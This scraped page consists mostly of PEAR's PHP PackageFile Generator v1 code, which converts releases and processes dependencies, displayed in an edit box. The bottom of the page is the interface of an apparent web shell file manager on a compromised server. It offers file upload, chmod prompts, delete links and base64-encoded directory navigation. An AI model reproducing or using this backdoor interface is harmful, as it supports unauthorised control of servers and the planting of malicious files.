     * &lt;/pre&gt;
     *
     * It does this by accessing the $package parameter, which contains an array with
     * indices:
     *
     *  - platform: mapping of file =&gt; OS the file should be installed on
     *  - install-as: mapping of file =&gt; installed name
     *  - osmap: mapping of OS =&gt; list of files that should be installed
     *    on that OS
     *  - notosmap: mapping of OS =&gt; list of files that should not be
     *    installed on that OS
     *
     * @param array
     * @param array
     * @access private
     */
    function _convertRelease2_0(&amp;$release, $package)
    {
        //- if any install-as/platform exist, create a generic release and fill it with
        if (count($package['platform']) || count($package['install-as'])) {
            $generic = array();
            $genericIgnore = array();
            foreach ($package['install-as'] as $file =&gt; $as) {
                //o &lt;install as=..&gt; tags for &lt;file name=... install-as=...&gt;
                if (!isset($package['platform'][$file])) {
                    $generic[] = $file;
                    continue;
                }
                //o &lt;install as=..&gt; tags for &lt;file name=... platform=!... install-as=..&gt;
                if (isset($package['platform'][$file]) &amp;&amp;
                      $package['platform'][$file]{0} == '!') {
                    $generic[] = $file;
                    continue;
                }
                //o &lt;ignore&gt; tags for &lt;file name=... platform=... install-as=..&gt;
                if (isset($package['platform'][$file]) &amp;&amp;
                      $package['platform'][$file]{0} != '!') {
                    $genericIgnore[] = $file;
                    continue;
                }
            }
            foreach ($package['platform'] as $file =&gt; $platform) {
                if (isset($package['install-as'][$file])) {
                    continue;
                }
                if ($platform{0} != '!') {
                    //o &lt;ignore&gt; tags for &lt;file name=... platform=...&gt;
                    $genericIgnore[] = $file;
                }
            }
            if (count($package['platform'])) {
                $oses = $notplatform = $platform = array();
                foreach ($package['platform'] as $file =&gt; $os) {
                    // get a list of oses
                    if ($os{0} == '!') {
                        if (isset($oses[substr($os, 1)])) {
                            continue;
                        }
                        $oses[substr($os, 1)] = count($oses);
                    } else {
                        if (isset($oses[$os])) {
                            continue;
                        }
                        $oses[$os] = count($oses);
                    }
                }
                //- create a release for each platform encountered and fill with
                foreach ($oses as $os =&gt; $releaseNum) {
                    $release[$releaseNum]['installconditions']['os']['name'] = $os;
                    $release[$releaseNum]['filelist'] = array('install' =&gt; array(),
                        'ignore' =&gt; array());
                    foreach ($package['install-as'] as $file =&gt; $as) {
                        //o &lt;install as=..&gt; tags for &lt;file name=... install-as=...&gt;
                        if (!isset($package['platform'][$file])) {
                            $release[$releaseNum]['filelist']['install'][] =
                                array(
                                    'attribs' =&gt; array(
                                        'name' =&gt; $file,
                                        'as' =&gt; $as,
                                    ),
                                );
                            continue;
                        }
                        //o &lt;install as..&gt; tags for
                        //  &lt;file name=... platform=this platform install-as=..&gt;
                        if (isset($package['platform'][$file]) &amp;&amp;
                              $package['platform'][$file] == $os) {
                            $release[$releaseNum]['filelist']['install'][] =
                                array(
                                    'attribs' =&gt; array(
                                        'name' =&gt; $file,
                                        'as' =&gt; $as,
                                    ),
                                );
                            continue;
                        }
                        //o &lt;install as..&gt; tags for
                        //  &lt;file name=... platform=!other platform install-as=..&gt;
                        if (isset($package['platform'][$file]) &amp;&amp;
                              $package['platform'][$file] != &quot;!$os&quot; &amp;&amp;
                              $package['platform'][$file]{0} == '!') {
                            $release[$releaseNum]['filelist']['install'][] =
                                array(
                                    'attribs' =&gt; array(
                                        'name' =&gt; $file,
                                        'as' =&gt; $as,
                                    ),
                                );
                            continue;
                        }
                        //o &lt;ignore&gt; tags for
                        //  &lt;file name=... platform=!this platform install-as=..&gt;
                        if (isset($package['platform'][$file]) &amp;&amp;
                              $package['platform'][$file] == &quot;!$os&quot;) {
                            $release[$releaseNum]['filelist']['ignore'][] =
                                array(
                                    'attribs' =&gt; array(
                                        'name' =&gt; $file,
                                    ),
                                );
                            continue;
                        }
                        //o &lt;ignore&gt; tags for
                        //  &lt;file name=... platform=other platform install-as=..&gt;
                        if (isset($package['platform'][$file]) &amp;&amp;
                              $package['platform'][$file]{0} != '!' &amp;&amp;
                              $package['platform'][$file] != $os) {
                            $release[$releaseNum]['filelist']['ignore'][] =
                                array(
                                    'attribs' =&gt; array(
                                        'name' =&gt; $file,
                                    ),
                                );
                            continue;
                        }
                    }
                    foreach ($package['platform'] as $file =&gt; $platform) {
                        if (isset($package['install-as'][$file])) {
                            continue;
                        }
                        //o &lt;ignore&gt; tags for &lt;file name=... platform=!this platform&gt;
                        if ($platform == &quot;!$os&quot;) {
                            $release[$releaseNum]['filelist']['ignore'][] =
                                array(
                                    'attribs' =&gt; array(
                                        'name' =&gt; $file,
                                    ),
                                );
                            continue;
                        }
                        //o &lt;ignore&gt; tags for &lt;file name=... platform=other platform&gt;
                        if ($platform{0} != '!' &amp;&amp; $platform != $os) {
                            $release[$releaseNum]['filelist']['ignore'][] =
                                array(
                                    'attribs' =&gt; array(
                                        'name' =&gt; $file,
                                    ),
                                );
                        }
                    }
                    if (!count($release[$releaseNum]['filelist']['install'])) {
                        unset($release[$releaseNum]['filelist']['install']);
                    }
                    if (!count($release[$releaseNum]['filelist']['ignore'])) {
                        unset($release[$releaseNum]['filelist']['ignore']);
                    }
                }
                if (count($generic) || count($genericIgnore)) {
                    $release[count($oses)] = array();
                    if (count($generic)) {
                        foreach ($generic as $file) {
                            if (isset($package['install-as'][$file])) {
                                $installas = $package['install-as'][$file];
                            } else {
                                $installas = $file;
                            }
                            $release[count($oses)]['filelist']['install'][] =
                                array(
                                    'attribs' =&gt; array(
                                        'name' =&gt; $file,
                                        'as' =&gt; $installas,
                                    )
                                );
                        }
                    }
                    if (count($genericIgnore)) {
                        foreach ($genericIgnore as $file) {
                            $release[count($oses)]['filelist']['ignore'][] =
                                array(
                                    'attribs' =&gt; array(
                                        'name' =&gt; $file,
                                    )
                                );
                        }
                    }
                }
                // cleanup
                foreach ($release as $i =&gt; $rel) {
                    if (isset($rel['filelist']['install']) &amp;&amp;
                          count($rel['filelist']['install']) == 1) {
                        $release[$i]['filelist']['install'] =
                            $release[$i]['filelist']['install'][0];
                    }
                    if (isset($rel['filelist']['ignore']) &amp;&amp;
                          count($rel['filelist']['ignore']) == 1) {
                        $release[$i]['filelist']['ignore'] =
                            $release[$i]['filelist']['ignore'][0];
                    }
                }
                if (count($release) == 1) {
                    $release = $release[0];
                }
            } else {
                // no platform atts, but some install-as atts
                foreach ($package['install-as'] as $file =&gt; $value) {
                    $release['filelist']['install'][] =
                        array(
                            'attribs' =&gt; array(
                                'name' =&gt; $file,
                                'as' =&gt; $value
                            )
                        );
                }
                if (count($release['filelist']['install']) == 1) {
                    $release['filelist']['install'] = $release['filelist']['install'][0];
                }
            }
        }
    }

    /**
     * @param array
     * @return array
     * @access private
     */
    function _processDep($dep)
    {
        if ($dep['type'] == 'php') {
            if ($dep['rel'] == 'has') {
                // come on - everyone has php!
                return false;
            }
        }
        $php = array();
        if ($dep['type'] != 'php') {
            $php['name'] = $dep['name'];
            if ($dep['type'] == 'pkg') {
                $php['channel'] = 'pear.php.net';
            }
        }
        switch ($dep['rel']) {
            case 'gt' :
                $php['min'] = $dep['version'];
                $php['exclude'] = $dep['version'];
            break;
            case 'ge' :
                if (!isset($dep['version'])) {
                    if ($dep['type'] == 'php') {
                        if (isset($dep['name'])) {
                            $dep['version'] = $dep['name'];
                        }
                    }
                }
                $php['min'] = $dep['version'];
            break;
            case 'lt' :
                $php['max'] = $dep['version'];
                $php['exclude'] = $dep['version'];
            break;
            case 'le' :
                $php['max'] = $dep['version'];
            break;
            case 'eq' :
                $php['min'] = $dep['version'];
                $php['max'] = $dep['version'];
            break;
            case 'ne' :
                $php['exclude'] = $dep['version'];
            break;
            case 'not' :
                $php['conflicts'] = 'yes';
            break;
        }
        return $php;
    }

    /**
     * @param array
     * @return array
     */
    function _processPhpDeps($deps)
    {
        $test = array();
        foreach ($deps as $dep) {
            $test[] = $this-&gt;_processDep($dep);
        }
        $min = array();
        $max = array();
        foreach ($test as $dep) {
            if (!$dep) {
                continue;
            }
            if (isset($dep['min'])) {
                $min[$dep['min']] = count($min);
            }
            if (isset($dep['max'])) {
                $max[$dep['max']] = count($max);
            }
        }
        if (count($min) &gt; 0) {
            uksort($min, 'version_compare');
        }
        if (count($max) &gt; 0) {
            uksort($max, 'version_compare');
        }
        if (count($min)) {
            // get the highest minimum
            $a = array_flip($min);
            $min = array_pop($a);
        } else {
            $min = false;
        }
        if (count($max)) {
            // get the lowest maximum
            $a = array_flip($max);
            $max = array_shift($a);
        } else {
            $max = false;
        }
        if ($min) {
            $php['min'] = $min;
        }
        if ($max) {
            $php['max'] = $max;
        }
        $exclude = array();
        foreach ($test as $dep) {
            if (!isset($dep['exclude'])) {
                continue;
            }
            $exclude[] = $dep['exclude'];
        }
        if (count($exclude)) {
            $php['exclude'] = $exclude;
        }
        return $php;
    }

    /**
     * process multiple dependencies that have a name, like package deps
     * @param array
     * @return array
     * @access private
     */
    function _processMultipleDepsName($deps)
    {
        $ret = $tests = array();
        foreach ($deps as $name =&gt; $dep) {
            foreach ($dep as $d) {
                $tests[$name][] = $this-&gt;_processDep($d);
            }
        }

        foreach ($tests as $name =&gt; $test) {
            $max = $min = $php = array();
            $php['name'] = $name;
            foreach ($test as $dep) {
                if (!$dep) {
                    continue;
                }
                if (isset($dep['channel'])) {
                    $php['channel'] = 'pear.php.net';
                }
                if (isset($dep['conflicts']) &amp;&amp; $dep['conflicts'] == 'yes') {
                    $php['conflicts'] = 'yes';
                }
                if (isset($dep['min'])) {
                    $min[$dep['min']] = count($min);
                }
                if (isset($dep['max'])) {
                    $max[$dep['max']] = count($max);
                }
            }
            if (count($min) &gt; 0) {
                uksort($min, 'version_compare');
            }
            if (count($max) &gt; 0) {
                uksort($max, 'version_compare');
            }
            if (count($min)) {
                // get the highest minimum
                $a = array_flip($min);
                $min = array_pop($a);
            } else {
                $min = false;
            }
            if (count($max)) {
                // get the lowest maximum
                $a = array_flip($max);
                $max = array_shift($a);
            } else {
                $max = false;
            }
            if ($min) {
                $php['min'] = $min;
            }
            if ($max) {
                $php['max'] = $max;
            }
            $exclude = array();
            foreach ($test as $dep) {
                if (!isset($dep['exclude'])) {
                    continue;
                }
                $exclude[] = $dep['exclude'];
            }
            if (count($exclude)) {
                $php['exclude'] = $exclude;
            }
            $ret[] = $php;
        }
        return $ret;
    }
}
?&gt;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvNDY5ZWQyZjYtNGQ0Yi00YThhLTlmNWUtZWU0ZWYwNGQzYmM4L3B1YmxpY19odG1s">/var/www/469ed2f6-4d4b-4a8a-9f5e-ee4ef04d3bc8/public_html</a><hr>curdir: /opt/ecp-php70/lib/php/PEAR/PackageFile/Generator<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxl"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&x=djEucGhw">X</a></td><td><a href="?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=djEucGhw"/>v1.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=djEucGhw&c=`+btoa(c):0" value="0644"></td><td>50277</td></tr><tr><td><a href="?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&x=djIucGhw">X</a></td><td><a href="?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=djIucGhw"/>v2.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9lY3AtcGhwNzAvbGliL3BocC9QRUFSL1BhY2thZ2VGaWxlL0dlbmVyYXRvcg==&f=djIucGhw&c=`+btoa(c):0" value="0644"></td><td>33222</td></tr></table>